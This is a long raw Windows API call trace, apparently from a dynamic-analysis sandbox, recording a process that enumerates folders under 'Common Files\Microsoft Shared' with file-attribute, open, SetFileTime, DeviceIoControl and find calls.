dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.362] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.362] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.362] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.363] GetLastError () returned 0x12 [0144.363] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.363] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.363] GetLastError () returned 0x12 [0144.363] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.363] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0144.366] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.366] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.366] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.367] GetLastError () returned 0x12 [0144.367] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.367] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.367] GetLastError () returned 0x12 [0144.367] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.367] GetLastError () returned 0x12 [0144.367] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.367] GetLastError () returned 0x12 [0144.367] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.370] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.370] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99aac0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x99aac0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.370] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.372] GetLastError () returned 0x12 [0144.372] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.372] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.373] GetLastError () returned 0x12 [0144.373] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.373] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.377] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.377] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99a638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x99a638, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.377] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.378] GetLastError () returned 0x12 [0144.378] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.378] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.378] GetLastError () returned 0x12 [0144.378] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.378] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.380] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.381] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99a638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x99a638, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.381] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.383] GetLastError () returned 0x12 [0144.383] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.383] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.385] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.385] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99a638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x99a638, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.385] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.386] GetLastError () returned 0x12 [0144.386] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0144.386] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.386] GetLastError () returned 0x12 [0144.386] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.388] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.388] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99a638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x99a638, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.388] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0144.389] GetLastError () returned 0x12 [0144.389] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0144.389] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.389] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0144.391] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0144.391] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99c638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x99c638, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0144.391] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0144.392] GetLastError () returned 0x12 [0144.392] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c78 [0144.392] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0144.392] GetLastError () returned 0x12 [0144.392] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.392] GetLastError () returned 0x12 [0144.392] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.392] GetLastError () returned 0x12 [0144.392] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.392] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.395] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.395] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99c638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x99c638, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.395] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.396] GetLastError () returned 0x12 [0144.396] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.396] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.396] GetLastError () returned 0x12 [0144.396] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.396] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0144.398] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.399] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99c638, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x99c638, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.399] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.402] GetLastError () returned 0x12 [0144.402] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.402] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.402] GetLastError () returned 0x12 [0144.402] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.403] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.404] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0144.404] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99f3c0, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x99f3c0, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0144.404] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829cb8 [0144.406] GetLastError () returned 0x12 [0144.406] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0144.406] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0144.407] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0144.407] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x99ee38, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x99ee38, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0144.407] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0144.408] GetLastError () returned 0x12 [0144.408] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c78 [0144.409] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0144.409] GetLastError () returned 0x12 [0144.409] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0144.409] GetLastError () returned 0x12 [0144.409] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0144.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 